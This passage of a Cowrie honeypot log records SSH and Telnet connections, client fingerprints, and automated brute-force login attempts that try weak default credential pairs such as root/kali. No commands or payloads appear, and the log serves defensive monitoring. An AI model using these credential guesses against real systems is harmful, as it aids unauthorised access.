{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:30.681271Z","src_ip":"45.156.87.204","session":"991878f9833f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"darkness","message":"login attempt [root/darkness] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:30.708585Z","src_ip":"103.149.28.157","session":"19a3609e2b31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57512,"dst_ip":"10.17.0.5","dst_port":23,"session":"242bc9384be0","protocol":"telnet","message":"New connection: 152.42.224.71:57512 (10.17.0.5:23) [session: 242bc9384be0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:30.956876Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"kali","message":"login attempt [root/kali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:31.012718Z","src_ip":"45.156.87.204","session":"991878f9833f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":98.38539505004883,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:31.203777Z","src_ip":"152.42.224.71","session":"a2ead46b5bab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:31.956862Z","src_ip":"103.149.28.157","session":"19a3609e2b31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.16164588928223,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:32.035300Z","src_ip":"152.42.224.71","session":"d12dc7d704cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:32.096684Z","src_ip":"45.156.87.204","session":"991878f9833f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.183.70.66","src_port":60886,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f7aa46bad51","protocol":"ssh","message":"New connection: 45.183.70.66:60886 (159.203.135.109:22) [session: 7f7aa46bad51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:33.578091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:33.582817Z","src_ip":"45.183.70.66","session":"7f7aa46bad51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:33.699038Z","src_ip":"45.183.70.66","session":"7f7aa46bad51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.32511377334595,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:33.808363Z","src_ip":"152.42.224.71","session":"71837ce18cf2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo1234","message":"login attempt [demo/demo1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:34.197531Z","src_ip":"45.183.70.66","session":"7f7aa46bad51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39158,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cdbb005a108","protocol":"ssh","message":"New connection: 45.156.87.204:39158 (159.203.135.109:22) [session: 5cdbb005a108]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:34.278931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:34.283664Z","src_ip":"45.156.87.204","session":"5cdbb005a108","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:34.365857Z","src_ip":"45.156.87.204","session":"5cdbb005a108","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest123","message":"login attempt [guest/guest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:34.610722Z","src_ip":"45.156.87.204","session":"5cdbb005a108","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:35.316384Z","src_ip":"45.183.70.66","session":"7f7aa46bad51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:35.695355Z","src_ip":"45.156.87.204","session":"5cdbb005a108","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.155.125.131","src_port":33180,"dst_ip":"159.203.135.109","dst_port":22,"session":"71b0baff4d85","protocol":"ssh","message":"New connection: 124.155.125.131:33180 (159.203.135.109:22) [session: 71b0baff4d85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:37.584079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:37.588731Z","src_ip":"124.155.125.131","session":"71b0baff4d85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39166,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8bd82ce1705","protocol":"ssh","message":"New connection: 45.156.87.204:39166 (159.203.135.109:22) [session: f8bd82ce1705]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:37.682561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:37.686787Z","src_ip":"45.156.87.204","session":"f8bd82ce1705","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:37.764188Z","src_ip":"124.155.125.131","session":"71b0baff4d85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:37.770430Z","src_ip":"45.156.87.204","session":"f8bd82ce1705","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34590,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8c064530bba","protocol":"telnet","message":"New connection: 152.42.224.71:34590 (10.17.0.5:23) [session: f8c064530bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:37.831525Z"}
{"eventid":"cowrie.login.failed","username":"app","password":"123456","message":"login attempt [app/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:38.139049Z","src_ip":"45.156.87.204","session":"f8bd82ce1705","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa@123123","message":"login attempt [root/Aa@123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:38.495409Z","src_ip":"124.155.125.131","session":"71b0baff4d85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:39.223148Z","src_ip":"45.156.87.204","session":"f8bd82ce1705","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.2","message":"Connection lost after 16.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:39.508285Z","src_ip":"47.237.167.49","session":"e3aba9552ab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:39.673741Z","src_ip":"124.155.125.131","session":"71b0baff4d85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":39180,"dst_ip":"159.203.135.109","dst_port":22,"session":"830e5ed7d9e9","protocol":"ssh","message":"New connection: 45.156.87.204:39180 (159.203.135.109:22) [session: 830e5ed7d9e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:41.068276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:41.072391Z","src_ip":"45.156.87.204","session":"830e5ed7d9e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:41.239374Z","src_ip":"45.156.87.204","session":"830e5ed7d9e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:41.700080Z","src_ip":"45.156.87.204","session":"830e5ed7d9e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:42.784950Z","src_ip":"45.156.87.204","session":"830e5ed7d9e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54580,"dst_ip":"159.203.135.109","dst_port":22,"session":"62c64e37778f","protocol":"ssh","message":"New connection: 45.156.87.204:54580 (159.203.135.109:22) [session: 62c64e37778f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:45.005214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:45.010556Z","src_ip":"45.156.87.204","session":"62c64e37778f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:45.092578Z","src_ip":"45.156.87.204","session":"62c64e37778f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:45.343596Z","src_ip":"45.156.87.204","session":"62c64e37778f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:46.429818Z","src_ip":"45.156.87.204","session":"62c64e37778f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.58072829246521,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:47.070827Z","src_ip":"152.42.224.71","session":"a9fc1e39f81f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.204","src_port":54590,"dst_ip":"159.203.135.109","dst_port":22,"session":"81e3033d0963","protocol":"ssh","message":"New connection: 45.156.87.204:54590 (159.203.135.109:22) [session: 81e3033d0963]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:48.487332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:48.491810Z","src_ip":"45.156.87.204","session":"81e3033d0963","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":54729,"dst_ip":"159.203.135.109","dst_port":22,"session":"a26fcbd24ba0","protocol":"ssh","message":"New connection: 167.172.81.52:54729 (159.203.135.109:22) [session: a26fcbd24ba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:48.526591Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:48.531410Z","src_ip":"167.172.81.52","session":"a26fcbd24ba0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T04:54:48.535124Z","src_ip":"167.172.81.52","session":"a26fcbd24ba0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sh